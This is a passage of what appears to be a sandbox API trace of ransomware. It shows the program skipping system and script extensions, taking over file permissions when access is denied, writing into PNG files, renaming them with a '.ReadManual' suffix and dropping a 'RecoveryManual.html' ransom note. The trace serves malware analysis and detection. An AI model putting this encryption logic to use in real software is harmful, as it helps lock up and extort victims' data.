(psz1="png", psz2="msi") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.393] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.393] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.393] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.393] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.393] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" [0258.393] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.ReadManual.5A595725" [0258.393] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.ReadManual.5A595725") returned 94 [0258.393] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37906174392) returned 1 [0258.393] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png")) returned 0x20 [0258.393] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.393] GetLastError () returned 0x5 [0258.393] GetNamedSecurityInfoW () returned 0x0 [0258.394] SetNamedSecurityInfoW () returned 0x0 [0258.394] SetNamedSecurityInfoW () returned 0x0 [0258.395] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.395] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0258.395] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0258.395] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0258.395] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.395] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.397] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.397] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0258.397] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.397] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37906609057) returned 1 [0258.397] CloseHandle (hObject=0x1a0) returned 1 [0258.397] SetSecurityInfo () returned 0x5 [0258.397] SetSecurityInfo () returned 0x5 [0258.398] LocalFree (hMem=0x674d38) returned 0x0 [0258.398] CloseHandle (hObject=0x184) returned 1 [0258.398] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\" [0258.398] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RecoveryManual.html" [0258.398] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0258.398] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0258.399] CloseHandle (hObject=0x184) returned 1 [0258.399] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0258.399] lstrcpyW (in: lpString1=0x6ab90e, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0258.399] lstrcmpiW (lpString1="15x15dot.png", lpString2="RecoveryManual.html") returned -1 [0258.399] StrStrIW (lpFirst="15x15dot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.399] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.399] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.399] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.399] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.399] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.399] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.400] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.400] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" [0258.400] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.ReadManual.5A595725" [0258.400] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.ReadManual.5A595725") returned 89 [0258.400] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37906839848) returned 1 [0258.400] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png")) returned 0x20 [0258.400] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.400] GetLastError () returned 0x5 [0258.400] GetNamedSecurityInfoW () returned 0x0 [0258.400] SetNamedSecurityInfoW () returned 0x0 [0258.400] SetNamedSecurityInfoW () returned 0x0 [0258.401] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.401] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2821) returned 1 [0258.401] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb05, lpName=0x0) returned 0x1a0 [0258.402] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0258.402] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.402] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.404] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.404] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb05) returned 0x2f0000 [0258.404] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.404] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37907287954) returned 1 [0258.404] CloseHandle (hObject=0x1a0) returned 1 [0258.404] SetSecurityInfo () returned 0x5 [0258.404] SetSecurityInfo () returned 0x5 [0258.404] LocalFree (hMem=0x674d38) returned 0x0 [0258.404] CloseHandle (hObject=0x184) returned 1 [0258.404] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0258.404] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0258.405] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0258.405] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.405] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.405] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.405] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.405] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.405] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.405] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.405] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" [0258.405] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0258.405] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 109 [0258.405] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37907387587) returned 1 [0258.405] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png")) returned 0x20 [0258.405] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.405] GetLastError () returned 0x5 [0258.405] GetNamedSecurityInfoW () returned 0x0 [0258.406] SetNamedSecurityInfoW () returned 0x0 [0258.406] SetNamedSecurityInfoW () returned 0x0 [0258.407] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.407] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0258.407] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0258.407] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0258.407] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.407] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.410] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.410] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0258.410] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.410] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37907898867) returned 1 [0258.410] CloseHandle (hObject=0x1a0) returned 1 [0258.410] SetSecurityInfo () returned 0x5 [0258.410] SetSecurityInfo () returned 0x5 [0258.410] LocalFree (hMem=0x674d38) returned 0x0 [0258.410] CloseHandle (hObject=0x184) returned 1 [0258.412] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0258.412] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0258.412] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0258.412] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.412] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.412] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.412] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.412] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.412] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.412] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.412] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" [0258.413] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0258.413] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 115 [0258.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37908138486) returned 1 [0258.413] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png")) returned 0x20 [0258.413] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.413] GetLastError () returned 0x5 [0258.413] GetNamedSecurityInfoW () returned 0x0 [0258.413] SetNamedSecurityInfoW () returned 0x0 [0258.413] SetNamedSecurityInfoW () returned 0x0 [0258.414] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.414] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0258.415] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0258.415] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0258.415] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.415] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.417] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.417] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0258.417] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.417] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37908597841) returned 1 [0258.417] CloseHandle (hObject=0x1a0) returned 1 [0258.417] SetSecurityInfo () returned 0x5 [0258.417] SetSecurityInfo () returned 0x5 [0258.417] LocalFree (hMem=0x674d38) returned 0x0 [0258.417] CloseHandle (hObject=0x184) returned 1 [0258.418] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0258.418] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0258.418] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0258.418] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.418] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.418] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.418] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.418] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.418] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.419] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.419] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.419] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.419] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.419] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.419] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.419] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.419] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.419] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.419] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" [0258.419] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0258.419] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 110 [0258.419] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37908762550) returned 1 [0258.419] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png")) returned 0x20 [0258.419] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD 